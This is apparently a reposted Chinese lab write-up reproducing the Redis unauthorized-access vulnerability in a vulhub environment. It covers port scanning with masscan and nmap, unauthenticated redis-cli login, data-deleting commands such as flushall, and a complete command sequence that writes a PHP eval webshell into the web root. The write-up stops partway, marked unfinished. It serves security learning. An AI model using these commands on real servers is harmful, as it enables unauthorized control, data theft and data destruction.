Redis未授权访问漏洞

Posted 热绪

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Redis未授权访问漏洞相关的知识,希望对你有一定的参考价值。

Redis

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。默认使用6379端口。

漏洞原理

Redis因配置不当可以导致未授权访问,被攻击者恶意利用,这就是我们所说的Redis未授权访问漏洞。
新型攻击方式:在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。  
部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

复现

靶机:192.168.41.139
攻击机:192.168.41.138

准备阶段

在靶机打开环境

cd /vulhub/redis/4-unacc
docker-compose up -d

在这里插入图片描述

端口扫描

信息收集总在前,我们先使用masscan快速查看开放的端口。
masscan使用方法

masscan 192.168.41.139 -p 1-10000 --rate 100000 

在这里插入图片描述
发现6379端口正常开放,我们使用nmap查看redis信息。
nmap -A -p 6379 --scripts redis-info 192.168.41.139
在这里插入图片描述

未授权登录

使用攻击机kali linux下的redis客户端进行远程登录。(redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。

redis-cli -h 192.168.41.139
info 

redis数据库的一些操作:

info  	查看redis的信息和服务器信息
keys *	 查看参数key
get key  获得参数key的数据
flushall 删除所有数据
del key  删除键为key的数据

在这里插入图片描述

写入WebShell

通过redis在指定的web目录下写入一句话木马,用webshell管理工具连接可达到控制服务器的目的。

config set dir /var/www/html
set xxx "\\n\\n\\n<?php @eval($_POST['rexu']);?>\\n\\n\\n"
config set dbfilename shell.php
save

然后使用工具相连即可。
未完

以上是关于Redis未授权访问漏洞的主要内容,如果未能解决你的问题,请参考以下文章

Redis 未授权访问漏洞

修补--Redis未授权访问漏洞

Redis未授权访问漏洞复现

Redis未授权访问漏洞复现与利用

Redis未授权访问漏洞复现与利用

一文了解 Redis 未授权访问漏洞